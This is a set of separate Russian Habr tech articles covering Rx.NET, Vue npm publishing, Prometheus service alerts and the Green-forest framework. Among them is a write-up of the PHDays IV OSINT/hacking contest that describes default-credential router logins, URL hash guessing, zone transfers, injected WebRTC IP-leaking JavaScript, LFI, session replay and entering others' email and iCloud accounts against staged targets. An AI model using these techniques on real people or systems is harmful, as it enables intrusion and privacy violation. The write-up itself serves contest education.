Эта задача, в принципе, решается и средствами TPL, но применение Rx.NET лучше ложится на такой сценарий. Идея очень простая: мы точно также делегируем загрузку данных другому классу, но в этот раз в ответ ожидаем Observable вместо Task. Это позволит нам подписаться на серию событий, вместо одного: первым событием будет загруженный список контактов, а каждое последующее будет нести в себе какой-либо Update (загруженное фото, к примеру).
Рассмотрим загрузку контактов на примере. В задачу контекста входит подписка на результат выполнения LoadContacts. Обратите внимание на вызов метода ObserveOn — это инструкция для Rx.NET выполнять код, переданный в Subscribe на потоке планировщика Avalonia. Без этой инструкции мы не имеем право модифицировать свойство Contacts, т.к. код выполнится на потоке, отличном от UI-потока.
```
// NavContext.cs
class NavContext : ReactiveObject
{
private ReactiveList \_contacts;
public ReactiveList Contacts
{
get => \_contacts;
set => this.RaiseAndSetIfChanged(ref \_contacts, value);
}
public NavContext(ContactLoader contactLoader)
{
contactLoader.LoadContacts()
.ObserveOn(AvaloniaScheduler.Instance)
.Subscribe(x =>
{
Contacts = new ReactiveList(x.Contacts);
x.Updates
.ObserveOn(AvaloniaScheduler.Instance)
.Subscribe(u =>
{
u.Contact.Avatar = u.Avatar;
});
});
}
}
```
ContactLoader отвечает за выполнение сетевого запроса. Как только запрос выполняется, создается еще один Observable, отвечающий за доставку обновлений для подписчиков. Сразу после этого мы будем готовы отдать список контактов, не дожидаясь выполнения загрузки фото. Обновления же будут доставлены по мере их загрузки.
```
// ContactLoader.cs
class ContactLoader
{
IObservable LoadContacts()
{
return Observable.Create(async observer =>
{
var contacts = await GetContactsAsync(); // networking
var updates = Observable.Create(async o =>
{
foreach (var contact in contacts)
{
// load avatar from remote server
// ...
var avatar = await GetAvatarAsync(); // networking
o.OnNext(new Update(avatar));
}
o.OnComplete();
});
observer.OnNext(new Load(contacts, updates));
observer.OnComplete();
})
}
}
```
Последовательностью событий можно управлять: комбинировать, фильтровать, трансформировать и т.д. Это очень удобно при большом количестве источников событий и самих событий. Rx.NET позволяет эффективно работать с Observable.
Небольшой пример: если закэшировать фото на диске, то загрузка значительно ускорится, однако, такое ускорение может привести к проблеме большого количества обновлений в короткий промежуток времени, что усложнит работу планировщика, и может привести к потере отзывчивости приложения. Чтобы избежать этого, мы будем использовать буферизацию: обработаем за раз все обновления, которые случились в течение ста миллисекунд, а за одно отфильтруем вхождения, которые не содержат фото (по какой-либо причине).
```
x.Updates
.Where(u => u.Avatar != null)
.Buffer(TimeSpan.FromMilliseconds(100))
.ObserveOn(AvaloniaScheduler.Instance)
.Subscribe(list =>
{
foreach (var u in list)
{
u.Contact.Avatar = u.Avatar;
}
});
```
Заключение
----------
Невозможно за одну статью подробно рассказать про каждую использованную технологию. Я постарался выбрать самое интересное, и изложить в сжатом виде. Также, не было затронуто множество компонентов самого приложения, но все компоненты схожи, и основаны на одних и тех же принципах. Для дальнейшего изучения рекомендую посетить следующие ссылки:
* [Сайт проекта](https://egram.tel)
* [Код проекта](https://github.com/egramtel/egram.tel)
* [TDLib (библиотека от Telegram для клиентских приложений)](https://github.com/tdlib/td)
* [Биндинги .NET Core для TDLib](https://github.com/egramtel/tdsharp)
* [Avalonia](http://avaloniaui.net)
* [Хорошее место, чтобы начать изучение Rx.NET](http://www.introtorx.com)
* [ReactiveUI](https://reactiveui.net) | https://habr.com/ru/post/354646/ | null | ru | null |
# Создание библиотеки из VUE компонента и публикация на NPM
Достаточно давно занимаюсь разработкой на Vue.js, но вот упаковывать компоненты для публикации как то не приходилось. Недавно пришла идея интересного компонента, и я решил поделиться им с сообществом. Но дело в том что я не смог найти исчерпывающего руководства на эту тему в рунете. Поэтому, изучив вопрос, решил поделиться своим решением на эту тему.
> Также, я решил что неплохо будет прикрутить деплой демо компонента на github-pages, для удобства разработчиков которые решат посмотреть как работает данный компонент.
>
> *В документации есть раздел описания процесса публикации [cli.vuejs.org/ru/guide/deployment.html](https://cli.vuejs.org/ru/guide/deployment.html), но он не подходит для сборки библиотеки + демо + npm*
#### Установка и создание проекта
Для создания пакета будем использовать Vue CLI. Детально описывать это не буду, просто добавлю линки на разделы документации:
* Устанавливаем по документации: [cli.vuejs.org/ru/guide/installation.html](https://cli.vuejs.org/ru/guide/installation.html)
* Создаем проект: [cli.vuejs.org/ru/guide/creating-a-project.html](https://cli.vuejs.org/ru/guide/creating-a-project.html)
* Установим пакет для упрощения деплоя на github-pages:
```
npm install gh-pages --save-dev
```
> **ВАЖНО:** Далее в примерах кода везде указано название моего компонента **vue-input-calculator**, не забудьте изменить.
#### Настройки проекта
**package.json** тут нам нужно добавить/изменить:
**Подробнее**
*homepage* — ссылка на нашу демо страничку
*main* — путь к файлу библиотеки которую мы соберем
*version* — собственно указание версии вашей бибилиотеки, если его нет, добавьте
*private* — false или удалить,
*scripts: «build»: «vue-cli-service build --target lib --name vue-input-calculator src/lib.js»* — здесь я указываю что хочу собрать библиотеку, как она будет именоваться и указываю точку входа для сборки. Подробнее о целях сборки можно почитать тут: [cli.vuejs.org/ru/guide/build-targets.html](https://cli.vuejs.org/ru/guide/build-targets.html)
*scripts: «predeploy» / «deploy»* — сборка демо / публикация демо
```
{
"name": "vue-input-calculator",
"homepage": "https://lih1989.github.io/vue-input-calculator/",
"main": "./lib/vue-input-calculator.common.js",
"version": "0.1.0",
"scripts": {
"serve": "vue-cli-service serve --port 3000",
"predeploy": "vue-cli-service build --mode demo",
"deploy": "gh-pages -d demo",
"build": "vue-cli-service build --target lib --name vue-input-calculator src/lib.js",
"lint": "vue-cli-service lint"
}
…
}
```
**vue.config.js** создаём и заполняем нужными параметрами.
**Подробнее**
*publicPath*: укажем название репозитория для формирования пути к github page
*outputDir*: production сборку мы уложим в папку *lib*, в иных случаях сборка будет попадать в папку *demo*
*css.extract*: Отключаю сборку css файла, ибо у меня стили хранятся внутри компонента
```
module.exports = {
publicPath: process.env.NODE_ENV === 'production'
? '/'
: '/vue-input-calculator/',
outputDir: process.env.NODE_ENV === 'production'
? __dirname+'/lib'
: __dirname+'/demo',
css: {
extract: false
}
};
```
**src/lib.js** создаём отдельную точку сборки для нашей библиотеки
```
import VueInputCalculator from './components/VueInputCalculator'
export default VueInputCalculator
```
**.gitignore** — уберем из репозитория папку с демо
```
/demo/
...
```
**Создаём аккаунт на npmjs** — [www.npmjs.com/signup](https://www.npmjs.com/signup)
#### Разработка и публикация
Выполняем по порядку:
```
0. Разработка - npm run serve
1. Сборка нашей библиотеки - npm run build
2.1. Коммитим - git commit - m "commit"
2.2. Отправляем изменения в репозиторий - git push
3. Сборка демо проекта - npm run predeploy
4. Публикация ветки gh-pages - npm run deploy
5. Публикация пакета на npmjs - npm publish (предварительно npm login)
```
> После первого деплоя будет создана ветка gh-pages — нужно зайти в настройки репозитория и установить эту ветку для отображения github pages:
>
> 
#### Заключение
Вот и всё, теперь мы имеем open source проект который можем развивать и улучшать.
Спасибо что прочитали данный материал, он не идеален и не подойдет для больших проектов со множеством компонентов, но даст общее понимание того как происходит публикация и деплой.
> UPD.~~Я не стал ставить галочку Tutorial, потому что не уверен что принятое мной решение верное и все сделано правильно.~~ Буду очень благодарен за отзыв более опытных коллег.
Если у вас не «взлетело», вы нашли не соответствия или есть предложения по улучшению данного руководства пишите в комментариях или в личные сообщения.
**Полный код проекта примера**
[github.com/lih1989/vue-input-calculator](https://github.com/lih1989/vue-input-calculator)
**Использованные материалы:**
* Статья с описанием создания компонента-библиотеки(eng) [itnext.io/create-a-vue-js-component-library-as-a-module-part-1-a1116e632751](https://itnext.io/create-a-vue-js-component-library-as-a-module-part-1-a1116e632751)
* Документация Vue CLI [cli.vuejs.org/ru/guide](https://cli.vuejs.org/ru/guide/) | https://habr.com/ru/post/516250/ | null | ru | null |
# Разбор заданий конкурса «Конкурентная разведка» на PHDays IV
[](http://habrahabr.ru/company/pt/blog/225353/) Сегодня мы расскажем о некоторых практических аспектах сбора конфиденциальных данных на примере онлайн-конкурса «Конкурентная разведка», состоявшегося 15, 16 и 17 мая.
По сравнению с прошлым годом задачи стали гораздо сложнее. В арсенале конкурентного разведчика должны быть самые разнообразные навыки, включая владение тулзами и плагинами, поэтому уровень хардкора было решено немного повысить. Впрочем, никуда не делись и традиционные требования к дедукции и умению искать связи.
#### 1. Intro
По легенде игрок предстает новичком в хакерской андеграунд-тусовке **Anneximous** и получает задание обнаружить адрес электронной почты кого-либо из сотрудников ATH:
> Hi,
>
>
>
> I heard you wanted to join the Anneximous group. That’s fine but you should prove you’re worth it.
>
>
>
> Rumor has it that feds are close to us. Those dumbasses from ATH (Bureau of Alcohol, Tobacco, Hackers and Cookies) must be spying on us!
>
>
>
> Teach one of the agents a lesson and maybe we’ll accept you. Get his email address.
Мы специально оставили intro-задание достаточно простым, чтобы никого не отпугнуть. Это задание решалось в один запрос в Гугле:
**Решили:** 82 человека
#### 2. Расправа над конкурентами
Вы получаете новое задание, суть которого — собрать сведения о хакерах группировки **World Wide Idol**, ничего не понимающих в этике, и сдать их «федералам
> You succeeded, but that task was for kiddies. The point is we have been competing with a group called World White Idol for a long time. They are exceptionally bad guys without any ethics or respect for old people. It’s time to destroy those displeasing Internet maniacs!
>
>
>
> The plan is to expose the members of this group to ATH and we’ll be alone on the throne!
>
> p.s. Actually, they’ve already started to hunt us
>
> (<http://athc.biz/docs/137b60bcec2014fcedca10cc5f89bfb4.docx>), so be careful and go look for these scumbags:
##### 2.1. Ловим зеленого скрипт-кидди в Foursquare
**Nickname:** Schoolkid
**About:** Script kiddie hacking everything he sees, not paying attention to anonymity.
**Development:** Detected while hacking sites from the same IP address: 107.170.230.201.
Hint: New info came up that the hacker is connecting from a public network. Thanks to Foursquare. Who the heck is using this thing after all?
Окей, товарищ замечен во взломах с IP **107.170.230.201**. Идем туда и видим беспроводной роутер с дефолтами (**admin:admin**).
Это роутер семьи **Rodrigez**, который расположен в точке с координатами **#45.647801,-84.494360** (<http://107.170.230.201/?page=geo.cgi>).
А в истории посещений роутера очень много запросов осуществляется к сервисам Foursquare.
Окей, в запросах приложения к Foursquare меняем данные геолокации на те, что указаны в процессе регистрации и поиска места для check-in:
`POST /v2/users/updatelocation HTTP/1.1`
`Host: api.foursquare.com`
`ll=45.647801,-84.494360&[…]`
`GET /v2/venues/search?ll=45.647801,-84.494360&[…]HTTP/1.1`
`Host: api.foursquare.com`
В поиске вбиваем фамилию семьи (Rodrigez) и находим нужное место.
А также необходимого человека — хакера по имени **Antony Kiddies**
**Решили:** 6 человек
**Баллы:** 15
##### 2.2. Ищем японца из WWIdol в базе федералов
**Nickname:** Japanese Businessman
**About:** Record of conviction: ATH case #126.
Hint: ATH have a single database for the profiles of Anneximous and WWIdol. Look deeper at athc.biz. Also, check out this service for Japanese hieroglyphs recognition — <http://appsv.ocrgrid.org/nhocr/>.
В этом месте у большинства участников начались проблемы вплоть до публикации подсказки.
У нас есть ссылка на наше «дело» и номер досье на японца (126), которое мы должны найти. Очевидно, что там будет нечто полезное :)
| Объект | Ссылка | md5\_decode | Номер дела |
| --- | --- | --- | --- |
| Anneximous | 137b60bcec2014fcedca10cc5f89bfb4 | 123456.7 | 7 |
| Japanese Businessman | ? | ? | |
Переходим по ссылке и видим, что хеш — это md5 (“123456.7”) [www.google.ru/search?q=137b60bcec2014fcedca10cc5f89bfb4](https://www.google.ru/search?q=137b60bcec2014fcedca10cc5f89bfb4)
Таким образом, на интересующего нас человека должна вести ссылка 123456.126, хеш которой — d39558559e10be6b4e36ca6a5a55bf79, а значит документ должен находиться по адресу:
[athc.biz/docs/d39558559e10be6b4e36ca6a5a55bf79.docx](http://athc.biz/docs/d39558559e10be6b4e36ca6a5a55bf79.docx)
Между прочим, задание навеяно достаточно нашумевшим кейсом по конкурентной разведке «[Взлом Gartner через адресную строку](http://zlonov.ru/2013/05/hack-the-gartner-via-address-ba/)».
Открыв ссылку на athc.biz, мы найдем фотографию какого-то документа. Если заголовок в верхнем левом углу увеличить, повернуть и загнать в сервис перевода, ссылка на который лежит в подсказке, а потом в Google Translate, то мы узнаем имя: **Haru Sakata**.
Кстати, вот что бывает, если не увеличить изображение:
Задание еще не заканчивается — игрокам предстоит узнать дату рождения и место работы японца.
На twitter.com есть целых четыре **Haru Sakata**, из них для конкурса мы сделали троих. Отделить «настоящего» от ненастоящего помогает Google Images. Сервис поиска изображений поможет понять, что данный человек — вовсе не Haru Sakata, а, скажем, известный японский актер.
**Решили:** 4 человека
**Баллы:** 20
##### 2.3. Поиск «французского адвоката»
**Nickname:** Counsel
**About:** ATH case: [athc.biz/docs/46a2934643bf3f80c530aee55195594d.docx](http://athc.biz/docs/46a2934643bf3f80c530aee55195594d.docx).
На данного персонажа в «материалах» ATH достаточно данных: есть и имя, и email, и даже обрезок фотографии. Эту фотографию можно посмотреть в оригинале: zip://46a2934643bf3f80c530aee55195594d.docx/word/media/image2.emf
Теперь картина становится яснее: персонаж должен быть как-то связан с Парижем, не случайно же на ней появилась эта железная штука :)
В итоге целых пять человек не смогли отличить настоящего counsel от его двойников с точно такой же фотографией, но никак не связанных с Парижем.
**Решили:** 9 человек
**Баллы:** 20
##### 2.4. Смотрим на домены третьего уровня и восстанавливаем учетку в Facebook
**Nickname:** PakistaniChristian
**About:** Yo dawg, I heard you like subdomains, so I put three levels in yo subdomains so you can use subdomains while yo surf domains.
**Hint:** We got data that their domain is ftp.wwidol.com.
**Hint2:** You are still looking in wrong places. Why do you think there is an e-mail?
Единственное, чего мы не предусмотрели в механизме проверки правильности ответов, что участники (или организаторы) перепутают имя и фамилию, и ни один ответ не будет считаться правильным.
А задание было достаточно легким: находим домен ftp.wwidol.com (брутфорсом или AXFR-запросами, которые были разрешены для домена wwidol.com), у которого открыт анонимный доступ по протоколу FTP. Там в папке /images\_upload/ лежит старый добрый thumbs.db времен Windows XP.
Этот специальный файл, в котором хранятся некоторые эскизы изображений проводника, позволяет узнать название картинок, которые закешировала ОС:
Стучаться в почту на этот раз бесполезно —лучше вспомним, как деанонимизируют домохозяйки (http://www.xakep.ru/post/62206/).
Знание фотографии человека позволяет отделить ненастоящие учетные записи от настоящих.
**Решили:** 5 человек
**Баллы:** 20
##### 2.5. Пробиваемся в ATH
**Nickname:** johnsmith@athc.biz
**Hint:** We’ve managed to track the IP address of ATH which they use to access the Internet. You may use this exploit to obtain the internal IP: [net.ipcalf.com](http://net.ipcalf.com/).
Теперь игрокам необходимо найти информацию о сотруднике этой самой ATH по имени John Smith. Если послать письмо на ящик johnsmith@athc.biz, то в ответе мы получим две подсказки.
Первая — какое-то подобие антивируса проверяет все ссылки из письма, видимо на предмет вирусов, хотя, судя по новостям (http://habrahabr.ru/post/180163/), может быть и для других целей ;)
Вторая — в интернет глядит роутер NetGear N600, который обладает весьма интересными уязвимостями: [www.exploit-db.com/exploits/32883](http://www.exploit-db.com/exploits/32883/)
Вот что будет, если подкинуть «антивирусу» ссылку на свой ресурс:
По IP-адресу 162.243.77.131 действительно находится роутер, обладающий упомянутыми выше уязвимостями, позволяющими, скажем, получить пароль админа, несмотря на ответ HTTP 401:
В этой «модели» роутера уже побольше функциональных возможностей: и аттач логотипа в футер страниц, как нынче делают некоторые мобильные операторы, и SMB Manager, который с помощью Java Applet позволяет «шариться» на компьютерах во внутренней сети — знать бы только IP-адрес.
Судя по подсказке, выяснить IP-адрес можно будет с помощью формы изменения футера в HTML-страницах и модификации эксплойта из подсказки:
```
var RTCPeerConnection = /\*window.RTCPeerConnection ||\*/ window.webkitRTCPeerConnection || window.mozRTCPeerConnection;
if (RTCPeerConnection) (function () {
var rtc = new RTCPeerConnection({iceServers:[]});
if (window.mozRTCPeerConnection) {
rtc.createDataChannel('', {reliable:false});
};
rtc.onicecandidate = function (evt) {
if (evt.candidate) grepSDP(evt.candidate.candidate);
};
rtc.createOffer(function (offerDesc) {
grepSDP(offerDesc.sdp);
rtc.setLocalDescription(offerDesc);
}, function (e) { console.warn("offer failed", e); });
var addrs = Object.create(null);
addrs["0.0.0.0"] = false;
function updateDisplay(newAddr) {
if (newAddr in addrs) return;
else addrs[newAddr] = true;
var displayAddrs = Object.keys(addrs).filter(function (k) { return addrs[k]; });
document.getElementById('list').value = displayAddrs.join(" or perhaps ") || "n/a";
document.form.submit();
}
function grepSDP(sdp) {
var hosts = [];
sdp.split('\r\n').forEach(function (line) {
if (~line.indexOf("a=candidate")) {
var parts = line.split(' '),
addr = parts[4],
type = parts[7];
if (type === 'host') updateDisplay(addr);
} else if (~line.indexOf("c=")) {
var parts = line.split(' '),
addr = parts[2];
updateDisplay(addr); } }); }})(); else {}
```
В результате получаем желаемое:
Мы также получили приветствие от кого-то из участников, было приятно:
Теперь поищем доступ к компьютеру этого самого John Smith и попробуем найти ответы на поставленные вопросы:
**Решили:** 2 человека
**Баллы:** 35
*Примечание:* здесь и далее решение любого задания из группы приводило к появлению новых заданий.
##### 3.1. Попытка разговорить девушку на сайте знакомств
**Nickname:** Stripper
**About:** «Talky» girl, doesn't separate private life from the job. Her probable location is #53.2054508, 63.6218262. She uses dating sites for finding clients.
В Фейсбуке или Вконтакте данную личность по местоположению смогли найти целых двое участников.
На самом деле, мы хотели, чтобы участники нашли ее сначала на Badoo, а уже затем разговорили «умную» девушку и заставили ее выдать все свои секреты. Но в «друзья» постучался лишь один участник (возможно, это был случайный прохожий), а заговорить никто так и не осмелился. Ну и, конечно же, было несколько «ненастоящих» сущностей, которые могли запутать участников и натолкнуть их на неправильные ответы.
**Решили:** 2 человека
**Баллы:** 30
##### 3.2. iPhone сдает индийского таксиста
**Nickname:** IndianTaxi-driver
**About:** Counsel, his brother, should know everything about him. The password for the counsel’s email is… wait … his birth day! What a freaking surprise!
Хорошо, чтобы узнать все о таксисте, участникам необходимо было проникнуть в почту юриста, его брата. Знали его день рождения те, кто прошли 3-е задание. В почте можно было найди логин и пароль от почты самого индуса.
А в почте индуса становится ясно, что он активно пользует «яблочные девайсы».
Учетка от iCloud совпадала с почтовой, но в любом случае при желании ее можно было и сбросить, имея доступ к почте. Зайдя в iCloud, участникам достаточно было просто отследить iPhone, который мы заранее отправили в Дели :)
**Решили:** 2 человека
**Баллы:** 40
##### 3.3. Развлечения сисадмина
**Nickname:** Admin
**About:** The admin of wwidol.com.
Гугл говорит, что на сайте wwidol.com есть папка /.git/, в которой доступен индекс и доступен для чтения файл config, откуда мы можем узнать логин учетной записи админа на github! Вот это повезло ;)
Если погуглить ник, то можно узнать, что у админа на самом деле два аккаунта на Гитхабе — один рабочий, а второй для «развлечений». Вот как раз на втором репозитории и можно было найти .htpasswd и IP-адрес, на котором должен был находиться этот файл.
Оказывается, IP-адрес совпадает с адресом wwidol.com, а значит админ хранит какие-то файлы на сервере WWIdol. Но на каком хосте? Если участник к этому времени уже сделал AXFR-запрос, то знал про хост src.wwidol.com, если нет — то сейчас самое время было или побрутить домены третьего уровня, или сделать-таки этот Zone Transfer Request.
Пароль брутится очень быстро: это строка «admin», чего достаточно для получения всей информации об админе в файле /about-me.txt
**Решили:** 3 человека
**Баллы:** 30
##### 3.4. От админа до копа один шаг
**Nickname:** Cop
**About:** Admin and Cop are somehow connected. Errr, but how? Gosh….
Хм-м, коп и админ как-то связаны. Посмотрим в файл src.wwidol.com/note.txt — там лежит логин, пароль и IP-адрес веб-камеры, на которой мы и узнаем все о копе из счета на доставку какой-то непонятной субстанции.
**Решили:** 3 человека
**Баллы:** 20
##### 3.4. Когда анонимайзер не спасает
**Nickname:** ParanoidHacker
**Hint:** The hacker uses an anonymizer but his DNS requests absolutely don’t resolve. We know for sure that during daytime the hacker is at his so called “official” job, but still doing nasty things from there. He’s also running his own website that doesn’t look hackproof, so you can hackproove it.
Мыло хакера-параноика светится на wwidol.com в самом низу.
Если попробовать отправить на него ссылочку (как в задании 2.5), то хакер-то зайдет по этой ссылочке, только вот через анонимайзер (об этом говорится в хинте, который мы опубликовали на 3-й день), однако DNS-запросы к нашим ресурсам будут идти с ресурсов хакера.
Эти ресурсы снова располагаются за роутером с дефолтными учетными записями (ну да, роутер же «офисный», откуда хакер и занимается своими делишками): admin:admin.
Из логов роутера видно, что хакер заходит на ресурс homehekkers.com — домашний сайтик, сделанный на WordPress с установленным плагином dewplayer, уязвимым к LFI:
А так как оказывается, что homehekkers.com и wwidol.com хостятся на одном и том же IP-адресе (вот это совпадение!), то всю инфу о хакере мы можем узнать: запись лежит в файле /tmp/dump.sql (привет, Москва!).
**Решили:** 0 человек
**Баллы:** 50
##### 3.4. Кто-то сливает информацию в ATH
**Nickname:** rat
**About:** Here is the list of potential rat's accounts at the forum [anneximous.com/rat.txt](http://anneximous.com/rat.txt). Find me the rat!
**Hint:** Once upon a time there was and is Google mail. Stories were written and songs were composed 'bout Google mail remembering even the things one wouldn’t suspect. And they all lived happily ever after. The question is who are «they»…?
Последнее задание в этой группе — найти крысу из ATH, которая завелась в Anneximous. Для этого нам выдают списки email:md5(pass) потенциальных крыс. И только один хеш можно быстро «пробить» в Гугле:
kevinreissen@wwidol.com:09d1d20bd495912ed5307a08510440d6 (Admin111)
Теперь, если зайти к нему в почту (wwidol.com обслуживают почтовые аккаунты через Google Apps, это можно узнать даже с помощью nslookup)
Зайдя в Gmail под данной учетной записью, можно было бы развернуть подробную информацию об IMAP-запросе с девайса com.android.email и узнать IP-адрес крысы.
И снова через уязвимость роутера ATH получить доступ к компьютеру во внутренней сети и узнать всю необходимую информацию.
**Решили:** 0 человек
**Баллы:** 20
#### 4. Финальный рывок
Мы подходим к заключительной части нашей саги о конкурентных разведчиках. Напоследок участникам оставалось найти информацию о крысе ATH, засевшей в WWidol и боссах группировок Anneximous и WWidol.
##### 4.1. wwidolRat
**Nickname:** wwidolRat
**About:** Info: rat's report at [athc.biz/docs/f4dd947b925ef548fcdfd66789174033.docx](http://athc.biz/docs/f4dd947b925ef548fcdfd66789174033.docx).
В помощь выдавался отчет крысы. В метатегах (о которых участники спрашивали в самом начале конкурса) можно было бы найти IP-адрес и в очередной раз раздобыть полезную информацию с компьютера в сети ATH:
Кроме того, на компьютере крысы находится архив с какими-то данными, но он, к сожалению, закрыт паролем:
Оказывается, у крысы есть собственный сайт, который почему-то заблокирован ATH.
Но вот если обращаться к IP-адресу по доменным именам (kevin-donnalley.com и images.kevin-donnalley.com), то все получится:
Ковыряем thumbs.db и узнаем base64\_encode(facebook\_id) крысы:
**Решили:** 2 человека
**Баллы:** 20
##### 4.2. Захватываем власть в своей банде
**Nickname:** Anneximous Boss
**About:** empty
**Hint:** You can use accounts 4000–4040 with the pass “phdIV @107.170.92.105”, but you still need to find boss’ nickname ;)
В отчете крысы есть прямая ссылка на папку с изображениями отчетов:
В этой папке мы можем отследить некоторые новые идентификаторы отчетов и по ним попробовать получить доступ к самим отчетам:
Так это же отчет на боссов Anneximous и WWIdol c паролем от дампа траффика из архива! Открыв запрос мы увидим следующее:
*POST /profile.php?PHPSESSID=055e9c961e311901050b261e16ef57aa HTTP/1.1
Host: anneximous.com
Cookie: PHPSESSID=055e9c961e311901050b261e16ef57aa;
Accept: \*/\*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close*
Если повторить запрос — видимо, сессия до сих пор жива :)) — то можно узнать и имя босса Anneximous и его аккаунт в SIP.
**Решили:** 0 человек
**Баллы:** 55
##### 4.3. Сюрприз
**Nickname:** Wwidol Boss
**About:** empty
Казалось бы, зачем знать SIP босса, если все уже и так известно для заполнения формы. Но если бы кто-то дошел до этого задания, позвонил боссу на johanson @107.170.92.105 и внимательно посмотрел на траффик, то увидел бы, что пакеты начинают «летать» через 128.199.236.23 — а ведь это хост boss.wwidol.com. Получается, что босс Anneximous и босс WWIdol — одно и то же лицо (вот это сюжетный поворот, Санта-Барбара отдыхает!)
Ну и, значит, можно отправить такой же запрос с таким же паролем (боссы, они же тоже люди и любят использовать одинаковые пароли) на wwidol.com, что позволяет нам узнать «псевдоним» босса в кругах WWidol!
P. S. До решения этого задания так никто и не добрался, однако одному из наших победителей удалось «подобрать» по самому первому отчету ник босса и позвонить ему :)
**Решили:** 0 человек
**Баллы:** 30
Конкурс закончился в 17 мая 19:00 по Москве (шел три дня вместо запланированных двух), хотя некоторые заполняли ответы и после окончания конкурса. Всего на конкурс зарегистрировался 301 человек, 82 прошли вступительное задание, а остальное в сводной таблице ниже.
| Nickname | Баллы | Место |
| --- | --- | --- |
| The.Ghost | 230\* | I |
| yarbabin | 195\* | II |
| MooGeek | 130\* | III |
| godzillanurserylab | 105\* | |
| topol | 35\* | |
| Eugene-vs | 20 | |
| supertramp | 20 | |
| ReallyNonamesFor | 20 | |
| Anatolik11 | 20 | |
| true-bred | 0\* | |
| gohome | 0\* | |
| Fire\_marshall | 15 | |
| \* — без учета 20 баллов за задание 2.4 | | https://habr.com/ru/post/225353/ | null | ru | null |
# Мониторинг служб Linux c помощью Prometheus
**Автор: Senior Devops. Ведущий специалист по инфраструктуре** [**Hostkey**](https://hostkey.ru/) **Никита Зубарев**
В [прошлой статье](https://habr.com/ru/company/hostkey/blog/695726/) мы рассказывали, как для мониторинга сервисов с помощью [Prometheus](https://prometheus.io/) настроить сбор метрик и отображение тревог. Однако в процессе эксплуатации возник вопрос, как мониторить отдельные службы на серверах Linux. Например, в одной из прошлых [статей](https://habr.com/ru/company/hostkey/blog/665810/) мы описывали кейс использования веб-консолей Ovirt c помощью [Apache Guacamole](https://guacamole.apache.org/). Теперь рассмотрим, как организовать мониторинг работы сервисов на Linux-машинах.
Guacamole — кроссплатформенный шлюз удаленного рабочего стола, для его работы необходимы [Apache Tomcat](https://tomcat.apache.org/) и [Guacd](https://hub.docker.com/r/guacamole/guacd).
Открываем сервис, созданный для node\_exporter:
*/*usr/lib/**systemd**/**system**/**node\_exporter**.**service**
```
[Unit]
Description=Prometheus exporter for machine metrics, written in Go with pluggable metric collectors.
Documentation=https://github.com/prometheus/node_exporter
After=network.target
[Service]
EnvironmentFile=-/etc/default/node_exporter
User=root
ExecStart=/usr/bin/node_exporter $NODE_EXPORTER_OPTS
Restart=on-failure
RestartSec=5s
[Install]
WantedBy=multi-user.target
по дефолту $NODE_EXPORTER_OPTS подгружается из файла :
# /etc/default/node_exporter
При необходимости мы можем либо мониторить отдельные службы, добавив опцию collector.systemd.unit-whitelist:
#NODE_EXPORTER_OPTS="--collector.systemd --collector.systemd.unit-whitelist="(tomcat|guacd).service""
```
После перезапуска сервиса получаем метрику на node\_exporter:
Остается описать правило для алерта:
```
- alert: guacd_service
expr: node_systemd_unit_state{name="guacd.service",state="active"} == 0
for: 1s
annotations:
summary: "Instance {{ $labels.instance }} is down"
description: "{{ $labels.instance }} of job {{ $labels.job }} is down."
- alert: tomcat_service
expr: node_systemd_unit_state{name="tomcat.service",state="active"} == 0
for: 1s
annotations:
summary: "Instance {{ $labels.instance }} is down"
description: "{{ $labels.instance }} of job {{ $labels.job }} is down."
```
Пример алерта на дашборде Alertmanager в Grafana:
### Выводы
В этой небольшой статье мы рассмотрели, как выполняется мониторинг работы сервисов на Linux-машинах. Это решение позволяет отслеживать работы любого systemd-сервера и значительно упрощает администрирование серверного оборудования. В следующей статье мы расскажем, как можно не отображать базовые параметры, которые отдает exporter. | https://habr.com/ru/post/696918/ | null | ru | null |
# Знакомство с Green-forest Framework
Хочу рассказать Java-сообществу Хабра о небольшом, но очень полезном (на личном опыте) фреймворке под названием [Green-forest](http://code.google.com/p/green-forest). Данный фреймворк можно использовать как самостоятельно, так и в контексте JEE или Spring.
Как с помощью него можно упростить код приложения узнаем под катом.
В начале рассмотрим проблему для решения которой предназначен Green-forest.
Проблема
--------
Очень часто архитектура крупного проекта имеет следующий вид:
* Слой представления
* Бизнес-слой
* Слой работы с данными
При этом бизнес-слой и слой данных состоят из классов-сервисов, предоставляющих внешнему миру публичное API.
Пример такого сервиса:
```
public interface UserService {
User createUser(Object someData);
void activateUser(long id);
User updateUser(User updatedUser);
void blockUser(long id);
void unblockUser(long id);
}
```
С ростом приложения растет количество методов в подобных сервисах — а значит растет громоздкость класса-реализации:
```
public class UserServiceImpl implements UserService {
//метод на 1-ой строке класса
public User createUser(Object someData) {
//реализация на 10-15 строк
}
//метод 16-ой страке класса
public void activateUser(long id) {
//реализация на 10-15 строк
}
//и т.д.
//метод на 1000-ой строке класса
public void unblockUser(long id) {
//реализация на 10-15 строк
}
}
```
В итоге появляются классы, содержащие десятки методов и 1000-ти строк кода. Искать и поддерживать код в таких классах становится трудно и муторно.
Классическое решение
--------------------
Очевидным решением видится разделение одного большого сервиса на множество более мелких:
```
public interface UserBasicService {
User createUser(Object someData);
void activateUser(long id);
User updateUser(User updatedUser);
}
public interface UserModerationService {
void blockUser(long id);
void unblockUser(long id);
}
```
Однако, помимо простоты такой подход имеет ряд недостатков:
**Трудность равномерного разделения**: бывает трудно разделить сервис на равные части. В одном новом сервисе остается 3 метода, в другом — 10-ть.
**Неоднозначность разделения**: бывает трудно определить в какой дочерний сервис перенести конкретный метод. В результате методы переносятся нелогично и API усложняется для понимания.
**Устранение симптомов, но не причины:** по сути, мы не решили проблему, т.к. с ростом методов в новых сервисах они тоже рискуют превратиться в громоздкие 1000-ти строчные реализации.
Попробуем решить проблему громоздких сервисом в новом ключе.
Решение через атомарные функции
-------------------------------
Раз наше простое разделение сервиса на несколько ему подобных не дает полного решения проблемы, зададимся вопросом, а можем ли мы разделить его на более атомарные сущности? Конечно же можем! Ведь целью любого сервиса являются его методы, а значит, создав множество отдельных методов, мы избавимся от озвученных выше недостатков:
**Нет проблем неравномерного и неоднозначного разделения**: множество методов разделено равномерно и однозначно по своему определению.
**Решена проблема роста:** при появлении новых методов мы просто создаем новые классы, не увеличивая размер старых.
Реализация решения в Green-forest
---------------------------------
В Green-forest Framework применяется архитектура Action-Handler, иллюстрируемая схемой:
Рассмотрим компоненты этой схемы:
1. ### Action
